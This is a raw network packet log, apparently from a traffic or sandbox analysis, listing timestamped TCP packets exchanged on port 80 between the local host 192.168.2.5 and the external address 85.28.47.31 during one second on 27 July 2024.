Jul 27, 2024 09:25:06.234452009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234453917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234466076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234469891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234486103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234486103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234503031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234512091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234512091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234532118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234550953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234561920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234597921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234615088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234622002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234631062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234642029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234646082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234657049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234663010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234678984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234683037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234683037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234694958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234708071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234709978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234724045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234725952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234740019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234752893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234752893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234756947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234774113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234777927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234790087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234797955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234798908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234806061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234822989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234828949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234828949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234838009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234855890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234874010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235506058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235522985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235538006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235553980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235563993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235574007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235582113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235599995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235606909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235615969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235630989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235632896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235646009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235661030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235661983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235661030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235677958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235687971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235687971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235692024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235707045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235712051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235723019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235738039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235738039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235738039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235753059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235764027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235764027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235768080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235785961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235802889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235802889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235802889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235820055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235829115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235829115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235833883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235850096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235852957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235865116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235866070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235879898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235891104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235891104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235893965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235909939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.235914946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235935926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235956907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.235956907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236323118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236341000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236356974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236361027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236381054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236381054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236397982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236398935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236413002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236421108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236428976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236443043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236449003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236465931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236466885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236468077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236488104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236505985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236509085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236509085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236521959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.236527920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236547947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.236566067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324665070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324738979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324752092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324774981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324784040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324809074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324820995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324851990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324862003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324896097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324908972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324930906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324943066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.324964046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.324973106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325011969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325018883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325058937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325068951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325103998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325114965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325135946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325146914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325170040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325189114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325213909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325222015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325273037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325278044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325308084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325318098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325340986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325352907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325376034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325388908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325408936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325422049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325440884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325457096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325474977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325481892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325505972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325515032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325541019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325547934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325573921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325583935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325608015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325642109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325661898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325675011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325685978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325686932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325709105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325721979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325742960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325754881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325776100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325786114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325809002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325817108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325845003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325855017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325877905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325896978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325912952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325922012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325946093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325956106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.325975895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.325993061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326009989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326028109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326042891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326051950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326076984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326087952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326109886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326118946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326153994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326162100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326195002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326220036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326241016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326244116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326277018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326309919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326320887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326320887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326344967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326358080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326376915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326387882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326411963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326428890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326445103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326479912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326491117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326508999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326525927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326534986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326559067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326567888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326591969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326613903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326626062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326637983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326659918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326673031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326693058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326725960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326735973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326735973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326760054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326778889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326793909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326802969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326827049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326833963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326862097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326870918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326896906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326911926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326932907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326958895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326967001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.326975107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.326999903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327013969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327033043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327056885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327066898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327071905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327100039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327114105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327132940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327145100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327166080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327176094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327199936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327209949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327233076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327245951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327265024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327277899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327294111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327308893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327327967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327339888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327362061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327375889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327394009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327408075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327430964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327436924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327464104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327476978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327497959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327507973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327534914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327553034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327569962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327578068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327601910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327619076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327636003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327673912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327677011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327677011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327708006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327718019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327740908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327769995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327775955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327789068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327807903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327816010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327852964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327862978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327914000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327919006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327948093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327961922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.327982903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.327996016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328017950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328037977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328049898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328061104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328083992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328109980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328116894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328129053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328150034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328167915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328182936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328197002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328217983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328228951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328252077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328267097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328284979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328294992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328315973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328329086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328351021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328367949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328385115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328416109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328430891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328449965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328464031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328502893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328514099 CEST	49704	80	192.168.2.5	85.28.47.31
